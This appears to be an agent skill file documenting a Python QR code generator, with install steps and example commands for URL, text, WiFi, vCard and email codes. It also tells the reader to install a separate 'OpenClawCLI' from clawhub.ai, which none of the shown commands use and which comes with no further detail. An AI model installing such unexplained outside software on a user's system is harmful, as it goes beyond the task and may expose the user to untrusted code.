Use this skill when users need to create QR codes for any purpose. Triggers include: requests to "generate QR code", "create QR", "make a QR code for", or mentions of encoding data into scannable codes. Supports URLs, text, WiFi credentials, vCards (contact information), email addresses, phone numbers, SMS, location coordinates, calendar events, and custom data. Can customize colors, add logos, generate bulk QR codes, and export in multiple formats (PNG, SVG, PDF). Requires OpenClawCLI installation from clawhub.ai.
Generate customizable QR codes for URLs, text, WiFi credentials, contact cards, and more. Supports batch generation, custom styling, logo embedding, and multiple export formats.
⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)
Installation:
# Standard installation
pip install qrcode[pil] segno
# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install qrcode[pil] segno
Never use --break-system-packages as it can damage your system's Python installation.
| Task | Command |
|---|---|
| Basic URL QR code | python scripts/qr.py "https://example.com" |
| Text QR code | python scripts/qr.py --type text "Hello World" |
| WiFi QR code | python scripts/qr.py --type wifi --ssid "MyNetwork" --password "secret" |
| vCard contact | python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" |
| Custom colors | python scripts/qr.py "URL" --fg-color blue --bg-color white |
| With logo | python scripts/qr.py "URL" --logo logo.png |
| SVG format | python scripts/qr.py "URL" --format svg |
| Batch generation | python scripts/qr.py --batch urls.txt --output-dir qrcodes/ |
Generate QR codes for various data types with automatic formatting.
Supported Types:
Personalize QR code appearance:
Export in various formats for different use cases:
Generate multiple QR codes from:
Generate QR codes for websites and links.
# Simple URL
python scripts/qr.py "https://example.com"
# With custom filename
python scripts/qr.py "https://github.com" --output github_qr.png
# High error correction for printed codes
python scripts/qr.py "https://mysite.com" --error-correction H --output site_qr.png
Output:
QR code generated: qrcode.png
Size: 290x290 pixels
Error correction: M (Medium)
Data: https://example.com
Encode plain text messages.
# Simple text
python scripts/qr.py --type text "Hello, World!"
# Multi-line text
python scripts/qr.py --type text "Line 1\nLine 2\nLine 3" --output message.png
# Large text (automatic size adjustment)
python scripts/qr.py --type text "$(cat message.txt)" --output text_qr.png
Create scannable WiFi credentials.
# WPA/WPA2 network
python scripts/qr.py --type wifi --ssid "MyNetwork" --password "SecurePassword123"
# WPA2 network (explicit)
python scripts/qr.py --type wifi --ssid "HomeWiFi" --password "pass123" --security WPA
# Hidden network
python scripts/qr.py --type wifi --ssid "SecretNet" --password "secret" --hidden
# Open network (no password)
python scripts/qr.py --type wifi --ssid "GuestNetwork" --security nopass
Security types: WPA, WEP, nopass
Output QR contains:
WIFI:T:WPA;S:MyNetwork;P:SecurePassword123;H:false;;
Generate vCard QR codes for easy contact sharing.
# Basic contact
python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890"
# Full contact details
python scripts/qr.py --type vcard \
--name "Jane Smith" \
--phone "+1234567890" \
--email "[email protected]" \
--organization "Tech Corp" \
--title "Senior Developer" \
--url "https://janesmith.com" \
--address "123 Main St, City, State, 12345" \
--output jane_contact.png
# Multiple phone numbers
python scripts/qr.py --type vcard \
--name "Bob Johnson" \
--phone "+1234567890" \
--phone-home "+0987654321" \
--email "[email protected]"
Generated vCard format:
BEGIN:VCARD
VERSION:3.0
FN:John Doe
TEL:+1234567890
END:VCARD
Create mailto: links with optional subject and body.
# Simple email
python scripts/qr.py --type email --email "[email protected]"
# With subject
python scripts/qr.py --type email --email "[email protected]" --subject "Support Request"
# With subject and body
python scripts/qr.py --type email \
--email "[email protected]" \
--subject "Inquiry" \
--body "I would like more information about..."
Output QR contains: